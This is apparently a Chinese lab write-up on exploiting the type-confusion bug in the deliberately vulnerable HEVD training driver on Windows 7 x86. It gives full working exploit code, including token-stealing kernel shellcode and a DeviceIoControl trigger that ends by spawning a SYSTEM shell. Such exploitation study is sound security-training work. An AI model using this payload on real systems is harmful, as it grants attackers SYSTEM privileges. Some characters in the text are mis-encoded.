漏洞分析丨HEVD-10.TypeConfusing[win7x86]

作者selph
前言
窺探Ring0漏洞世界:類型混淆
實驗環(huán)境:
?虛擬機:Windows 7 x86
?物理機:Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
老樣子,先IDA分析漏洞函數(shù)TriggerTypeConfusion,然后再看看源碼
首先是申請了8字節(jié)非分頁池內(nèi)存

然后接下來,把用戶傳入的8字節(jié)結(jié)構(gòu)保存到了內(nèi)核申請的8字節(jié)空間里,然后調(diào)用了一個初始化函數(shù),程序就結(jié)束了

現(xiàn)在來看看這個初始化程序,打印后4字節(jié)的內(nèi)容,然后調(diào)用后4字節(jié)的內(nèi)容(回調(diào)函數(shù)):

從反匯編的層面看到的是,這里傳入的后4字節(jié)會被當成函數(shù)調(diào)用
接下來看看源碼:
/// <summary>
/// Trigger the Type Confusion Vulnerability
/// </summary>
/// <param name="UserTypeConfusionObject">The pointer to USER_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TriggerTypeConfusion(
_In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
???NTSTATUS Status = STATUS_UNSUCCESSFUL;
???PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
???PAGED_CODE();
????__try
????{
???????//
???????// Verify if the buffer resides in user mode
???????//
???????ProbeForRead(
???????????UserTypeConfusionObject,
???????????sizeof(USER_TYPE_CONFUSION_OBJECT),
???????????(ULONG)__alignof(UCHAR)
???????);
???????//
???????// Allocate Pool chunk
???????//
???????KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
???????????NonPagedPool,
???????????sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
???????????(ULONG)POOL_TAG
???????);
???????if (!KernelTypeConfusionObject)
????????{
???????????//
???????????// Unable to allocate Pool chunk
???????????//
???????????DbgPrint("[-] Unable to allocate Pool chunk\n");
???????????Status = STATUS_NO_MEMORY;
???????????return Status;
????????}
???????else
????????{
???????????DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
???????????DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
???????????DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
???????????DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
????????}
???????DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
????????DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
???????DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
???????KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
???????KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
???????DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
???????DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
#ifdef SECURE
???????//
???????// Secure Note: This is secure because the developer is properly setting 'Callback'
???????// member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
???????// of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
???????// parameter
???????//
???????KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
???????Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#else
???????DbgPrint("[+] Triggering Type Confusion\n");
???????//
???????// Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
???????// use of the 'UNION' construct. The developer has not set the 'Callback' member of
???????// the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
???????// 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
???????// parameter
???????//
???????Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#endif
???????DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
???????DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
???????DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
???????//
???????// Free the allocated Pool chunk
???????//
???????ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
???????KernelTypeConfusionObject = NULL;
????}
???__except (EXCEPTION_EXECUTE_HANDLER)
????{
???????Status = GetExceptionCode();
???????DbgPrint("[-] Exception Code: 0x%X\n", Status);
????}
???return Status;
}
這里安全版本和非安全版本的區(qū)別在于是否初始化回調(diào)函數(shù),然后再進入初始化函數(shù)
這里用的對象結(jié)構(gòu)如下,可以看到,用戶傳入的是4字節(jié)的Type,而在內(nèi)核結(jié)構(gòu)里,后4字節(jié)是個聯(lián)合體
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
???ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
???ULONG_PTR ObjectID;
????union
????{
???????ULONG_PTR ObjectType;
???????FunctionPointer Callback;
????};
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
最后進入初始化函數(shù),就直接調(diào)用回調(diào)函數(shù)了:
/// <summary>
/// Type Confusion Object Initializer
/// </summary>
/// <param name="KernelTypeConfusionObject">The pointer to KERNEL_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TypeConfusionObjectInitializer(
_In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
???NTSTATUS Status = STATUS_SUCCESS;
???PAGED_CODE();
???DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
???DbgPrint("[+] Calling Callback\n");
???KernelTypeConfusionObject->Callback();
???DbgPrint("[+] Kernel Type Confusion Object Initialized\n");
????return Status;
}
這里初始化函數(shù)沒啥問題,主要在于進入初始化函數(shù)之前,對對象結(jié)構(gòu)的操作,因為使用了聯(lián)合體,如果沒有初始化Callback,那么用戶輸入的ObjectType會被當成Callback去執(zhí)行,這就是所謂的類型混淆。
漏洞利用
利用思路就很簡單了,傳入對象后四字節(jié)給定shellcode地址即可:
#include <iostream>
#include <Windows.h>
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET?0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET????0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET?????????0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET???????0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET???????0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID?????????0x004?// SYSTEM Process PID
typedef struct _UserObject {
???ULONG_PTR ObjectID;
???ULONG_PTR ObjectType;
}UserObject,*PUserObject;
VOID TokenStealingPayloadWin7() {
????// Importance of Kernel Recovery
????__asm {
???????pushad
????????;獲取當前進程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax
????????;搜索system進程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
???????????sub eax, FLINK_OFFSET
???????????cmp[eax + PID_OFFSET], edx
???????????jne SearchSystemPID
???????????; token竊取
???????????mov edx, [eax + TOKEN_OFFSET]
???????????mov[ecx + TOKEN_OFFSET], edx
???????????;?環(huán)境還原?+?返回
???????????popad
????}
}
int main()
{
????ULONG UserBufferSize = sizeof(UserObject);
????PVOID EopPayload = &TokenStealingPayloadWin7;
???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
???PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
????//?構(gòu)造對象
???UserBuffer->ObjectID = 0x12345678;
???UserBuffer->ObjectType = (ULONG_PTR)EopPayload;
????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;
???system("pause");
???system("cmd.exe");
???return 0;
}
截圖演示

挖坑
CVE-2018-8174
參考資料
?[1]?hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)?https://github.com/hacksysteam/HackSysExtremeVulnerableDriver